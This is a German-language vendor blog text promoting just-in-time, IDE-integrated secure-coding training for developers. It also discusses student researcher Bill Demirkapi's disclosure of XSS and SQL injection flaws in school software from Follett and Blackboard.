Nun stellen Sie sich vor, dass ihnen eine weitere Pflichtaufgabe auferlegt wird ... die Verantwortung für die Sicherheit der Projektelemente, die sie berühren. Schlimmstenfalls kann das für einige Personen das Kartenhaus zum Einsturz bringen, aber das realistischere Szenario ist, dass es einfach nicht zur Priorität gemacht wird, und die Themen, die als dringender angesehen werden, um über die Linie zu kommen, Vorrang haben. Und wenn die meisten Entwickler nicht darin geschult sind, sicher zu programmieren (vor allem, wenn auch ihre Manager der Sicherheit keine Priorität einräumen), ist es kein Wunder, dass es immer wieder zu Datenschutzverletzungen und fehlerhaften App-Veröffentlichungen kommt und Sicherheitsexperten unter einer Lawine von fehlerhaftem Code an ihre Grenzen stoßen.

Entwickler brauchen einen AppSec-Befürworter.

Wenn man das obige Szenario betrachtet, kann man verstehen, warum die Sicherheit während des Programmierprozesses in den Korb "zu schwer" gelegt wird und dem Sicherheitsteam überlassen wird, sich darum zu kümmern. Zu viele konkurrierende Termine, nicht genug Training und kein wirklicher Grund, sich um die Sicherheit zu kümmern, während alles andere vor sich geht. Es gibt jedoch einfach zu viel Nachfrage nach Code, als dass dieser Status quo fortbestehen könnte. Und das ist der Punkt, an dem sich Super-Elite-Entwickler von ihren Kollegen abheben, neue Fähigkeiten erlernen und - was am wichtigsten ist - sichereren Code erstellen können.

Es ist jedoch wichtig, sich daran zu erinnern, dass die Verwaltung der Softwaresicherheit nicht allein auf den Schultern der Entwickler liegt - das ist immer noch die Domäne des AppSec-Teams (das, wenn es mit sicherheitsbewussten Entwicklern zusammenarbeitet, mehr Freiraum hat, anstatt häufige Fehler immer wieder zu beheben). Ein funktionierender DevSecOps-Prozess erfordert, dass jedes Teammitglied die Unterstützung und die Tools erhält, die es braucht, um die Verantwortung für die Sicherheit mitzutragen, und die richtige Art von Schulung ist von größter Bedeutung. Um die richtige Suite von Tools und Schulungen auszubalancieren, bedarf es der Einsicht von AppSec-Experten, die bereit sind, eng mit den Entwicklern zusammenzuarbeiten, um sie zu inspirieren und positive Veränderungen voranzutreiben.

Unterbrechende Schulungen sind eher lästig als effektiv, und alles, was Entwickler abschreckt, wird nicht funktionieren. Eine IDE- oder Issue-Tracker-integrierte Lösung, die sich auf mundgerechtes Wissen konzentriert, ist eine Alternative, die ihnen die richtigen Informationen genau in dem Moment liefert, in dem sie benötigt werden.

Hier sehen Sie, wie es in Aktion funktioniert:

Just-in-Time, nicht "nur für den Fall".

Kontextbezogenes, praxisnahes Lernen ist bei weitem die effektivste Art zu trainieren, mit mundgerechten Stücken, die genau dann geliefert werden, wenn sie am meisten Sinn machen. Dies wird manchmal als "Just in Time"-Schulung (JiT) bezeichnet und ist für Entwickler, die sicheres Coding lernen, sehr effektiv.

Das JiT-Training hat seinen Ursprung in den Lean-Manufacturing-Prinzipien von Toyota und ist so konzipiert, dass es auf einer Need-to-know-Basis aktiviert wird, im Kontext, wenn es am wichtigsten ist. Hat ein Entwickler gerade etwas geschrieben, das scheinbar unzulässige Berechtigungen hat? Was, wenn eine kleine Hintertür geöffnet wurde, die es einem Angreifer erlaubt, Code aus der Ferne auszuführen? Es ist viel einprägsamer, wenn Entwickler auf das Wissen genau dann zugreifen können, wenn sie es brauchen, anstatt sich durch die Dokumentation in Confluence zu wühlen oder etwas zu googeln, das in der Schulung behandelt wurde.

Just-in-Time ist das Gegenteil von "Just-in-Case"-Lernen. Letzteres ist zwar die gängigere Art, Wissen zu vermitteln, aber einfach nicht effizient. Wir müssen es Entwicklern leichter machen, sich mit den Best Practices für sichere Programmierung zu beschäftigen und den Nutzen einer Weiterbildung für ihre Karriere zu erkennen, während sie sich gleichzeitig auf die wichtigsten Ziele konzentrieren, an denen sie gerade arbeiten.

Hören Sie auf, Entwickler zu zwingen, das Training zu verfolgen.

Wir wissen bereits, dass an einem Arbeitstag zu viel los ist. Welchen Anreiz haben Entwickler also, sich in ein Klassenzimmer zu schleppen oder kontextabhängig fünf Schritte zu durchlaufen, um auf statische, theoriegestützte Schulungen zuzugreifen?

Der allgemeine Konsens ist, dass das, was die meisten Unternehmen tun, nicht sonderlich effektiv ist, wenn man sich die Zahl der Sicherheitslücken ansieht, die zu Datenschutzverletzungen führen. Der 2020 Data Breach Investigations Report von Verizon gab an, dass 43 % der Datenschutzverletzungen auf Sicherheitslücken im Internet zurückzuführen sind. Entwickler erhalten keine effektive Schulung, weder in der Hochschulausbildung noch im Rahmen von Weiterbildungsmaßnahmen am Arbeitsplatz. Wäre dies der Fall, würden gängige Schwachstellen wie SQL-Injection und Path Traversal der alten Schule nicht ausgenutzt werden, um Daten zu erbeuten, und der Fachkräftemangel im Bereich der Cybersicherheit wäre nicht außer Kontrolle geraten.

Wenn wir also wissen, dass dies das aktuelle Klima ist, in dem Entwickler Schulungen erhalten und mit der Sicherheit vertraut gemacht werden, warum sind wir dann überrascht über das schlechte Ergebnis? Es könnte einfach einen Effekt haben - einen positiven - sowohl für den Entwickler als auch für die Organisation, eine reibungslosere, integriertere und weniger störende Schulungserfahrung zu gewährleisten, wo sie in den Bereichen zugänglich ist, in denen sie tatsächlich arbeiten, wie Jira, GitHub und in der IDE. Die Branche muss sich einfach vorwärts bewegen und das Sicherheitsbewusstsein viel einfacher machen, in einer Umgebung, in der es kein Luxus mehr ist.

Sind Sie bereit, den Entwicklungs-Workflow zu sichern?

Sicherheitsbewusste Entwickler werden für ihre Fähigkeiten und den Schutz, den sie Unternehmen bereits bei der Codeerstellung bieten können, geschätzt. Sicherheit ist nicht mehr optional, vor allem angesichts von GDPR-Strafen, PCI-DSS-Compliance-Vorschriften, NIST-Governance... und der Möglichkeit, in einer großen, alten, millionenschweren Sammelklage a'la Equifax verklagt zu werden.

Ein integrierter Ansatz könnte der Katalysator sein, um Entwickler mit weniger störendem Lernen zu gewinnen und einige Wege für tiefer gehende courses zu schaffen, Sicherheits-Champions auszubilden und allgemein die gemeinsame Verantwortung zu wecken, die wir brauchen, um die Daten der Welt sicher und gesund zu halten.

Laden Sie jetzt die Integrationstools für Jira und GitHub herunter, und lassen Sie uns wissen, was Sie davon halten.

Die jüngsten Berichte über den jugendlichen Sicherheitsforscher Bill Demirkapi, der große Schwachstellen in der von seiner Schule verwendeten Software aufdeckte, weckten sicherlich einige Erinnerungen. Ich erinnere mich daran, wie ich als neugieriges Kind die Haube von Software öffnete, um einen Blick darunter zu werfen und zu sehen, wie alles funktioniert - und noch wichtiger - ob ich es knacken kann. Seit Jahrzehnten bemühen sich Software-Ingenieure um eine kontinuierliche Verbesserung und Verstärkung ihrer Produkte, und die Sicherheits-Community (auch wenn sie manchmal etwas frech vorgeht) spielt eine wichtige Rolle bei der Entdeckung von Fehlern und potenziellen Katastrophen, hoffentlich bevor ein Bösewicht das Gleiche tut.

Das Problem hier ist jedoch, dass er als Reaktion auf seine Entdeckungen eine kleine Suspendierung von der Schule trug. Und das kam erst, nachdem er alle Möglichkeiten ausgeschöpft hatte, das Unternehmen(Follett Corporation) privat zu kontaktieren, und sich schließlich für eine ziemlich öffentliche Explosion entschied, um sich und seine Fähigkeit, in ihr System einzubrechen, zu identifizieren. Seine wiederholten Versuche, die Follett Corporation auf ethische Weise zu warnen, blieben ohne Antwort, während die Software weiterhin angreifbar blieb und Berge von Schülerdaten ziemlich leicht offengelegt werden konnten, da ein Großteil davon unverschlüsselt war.

Er jagte auch Bugs in der Software einer anderen Firma: Blackboard. Während die Daten von Blackboard zumindest verschlüsselt waren, hätten potenzielle Angreifer eindringen und Millionen weiterer Datensätze abgreifen können. Sowohl diese Software als auch das Produkt von Follett waren an seiner Schule im Einsatz.

Die Erzählung vom "bösen Hacker" ist problematisch.

Demirkapi präsentierte seine Erkenntnisse auf der diesjährigen DEF CON, wobei die boshafteren Details seiner Possen den Beifall der Menge fanden. Und das zu Recht - obwohl er anfangs in der Kritik stand und viele Hürden überwinden musste, um seine Entdeckungen anerkannt zu bekommen, war die Follett Corporation Berichten zufolge dankbar für seine Bemühungen und folgte seinem Rat, was letztendlich dazu führte, dass sie ihre Software sicherer machten und die Krise abwendeten, eine weitere Statistik für Datenverletzungen zu werden. Außerdem wird er nach seinem Schulabschluss das Rochester Institute of Technology besuchen. Es ist also klar, dass er auf dem richtigen Weg ist, ein gefragter Sicherheitsspezialist zu werden.

Als Sicherheitsexperte fällt es mir schwer, mich nicht darüber zu ärgern, wie diese Situation gehandhabt wurde. Obwohl in diesem Fall alles gut ausgeht, wurde er anfangs wie ein lästiges Skript-Kiddie behandelt, das seine Nase in Dinge steckt, die es nicht betrifft. Bei einer Google-Suche nach dem Vorfall finden sich Artikel, die ihn als "Hacker" bezeichnen (was ihn in den Augen des Sicherheitslaien in vielerlei Hinsicht zum Bösewicht macht), obwohl seine Herangehensweise (und die vieler anderer) dazu beiträgt, dass unsere Daten sicher sind.

Wir brauchen neugierige, clevere und sicherheitsbewusste Menschen, die unter die Haube schauen, und wir brauchen das viel öfter. Bis Juli wurden allein in diesem Jahr mehr als vier Milliarden Datensätze durch böswillige Datenverletzungen offengelegt. Dank des Einbruchs bei der Mode- und Lifestyle-Marke Poshmark im August können Sie möglicherweise weitere fünfzig Millionen zu dieser Zahl hinzufügen.

Wir machen die gleichen Fehler, und noch beunruhigender ist, dass es sich oft um einfache Schwachstellen handelt, die uns immer wieder zum Stolpern bringen.

Cross-Site-Scripting und SQL-Injection sind nicht verschwunden.

Wie WIRED berichtet, wurden Blackboards Community Engagement Software und Folletts Student Information System von Demirkapi gefunden, um gängige Sicherheitsfehler wie Cross-Site Scripting (XSS) und SQL Injection zu enthalten, die beide seit den 1990er Jahren Haare auf der Zunge von Sicherheitsspezialisten sind. Wir haben ihre Existenz für eine wirklich lange Zeit ertragen, und ähnlich wie Hypercolor-T-Shirts und Disketten sollten sie mittlerweile eine ferne Erinnerung sein.

Aber das sind sie nicht, und es ist klar, dass nicht genug Entwickler ein angemessenes Sicherheitsbewusstsein an den Tag legen, um die Einschleusung dieser Schwachstellen in ihren Code zu verhindern. Scanning-Tools und manuelle Code-Reviews können nur so viel tun, und es gibt weitaus komplexere Sicherheitsprobleme als XSS und SQL-Injection, bei denen diese teuren und zeitaufwendigen Maßnahmen besser eingesetzt werden könnten.

Leute wie Bill Demirkapi sollten Entwickler dazu inspirieren, einen höheren Standard für Code zu schaffen; mit nur 17 Jahren brach er in zwei hochfrequentierte Systeme ein, indem er Bedrohungsvektoren ausnutzte, die hätten erkannt und korrigiert werden müssen, bevor der Code überhaupt festgelegt wurde.

Gamification: Der Schlüssel zum Engagement?

Ich habe viel darüber geschrieben, warum Entwickler sich kaum mit Sicherheit beschäftigen, und die kurze Antwort ist, dass weder auf organisatorischer noch auf Ausbildungsebene viel getan wird, um sicherheitsbewusste Entwickler zu fördern. Wenn Unternehmen sich die Zeit nehmen, eine Sicherheitskultur aufzubauen, die Engagement belohnt und anerkennt, einschließlich der Implementierung von Schulungen, die die Sprache der Entwickler sprechen und sie motivieren, es weiter zu versuchen, beginnen diese lästigen Relikte von Sicherheitslücken aus der Software zu verschwinden, die wir verwenden.

Demirkapi hat offensichtlich ein außerschulisches Interesse an Sicherheit und hat sich die Zeit genommen, zu lernen, wie man Malware zurückentwickelt, Schwachstellen entdeckt und, nun ja, Dinge knackt, die von außen nicht kaputt aussehen. In einem Gespräch mit VICE (und über seine DEF CON-Folien) machte er jedoch eine interessante Aussage zu seiner Selbsterziehung... er hat sie gamifiziert:

Mit dem Ziel, etwas in der Software meiner Schule zu finden, war es eine unterhaltsame "spielerische" Art, mir selbst einen bedeutenden Teil der Penetrationstests beizubringen. Obwohl ich meine Nachforschungen mit der Absicht begann, mehr zu lernen, fand ich am Ende heraus, dass die Dinge viel schlimmer waren, als ich erwartet hatte", sagte er.

Nicht jeder Entwickler wird sich auf Sicherheit spezialisieren wollen, aber jeder Entwickler sollte die Möglichkeit haben, sich ein Sicherheitsbewusstsein anzueignen, wobei die Grundlagen quasi als "Lizenz zum Coden" innerhalb einer Organisation dienen, insbesondere bei denjenigen, die die Kontrolle über Massen unserer sensiblen Daten haben. Wenn die einfachsten Sicherheitslücken von jedem Entwickler gepatcht werden können, bevor sie überhaupt geschrieben werden, sind wir in einer viel sichereren Position gegen diejenigen, die versuchen, Schaden anzurichten.

Neugierig auf gamifiziertes Training? Schauen Sie sich unsere Coders Conquer Security Serie an XSS und SQL-Einschleusung.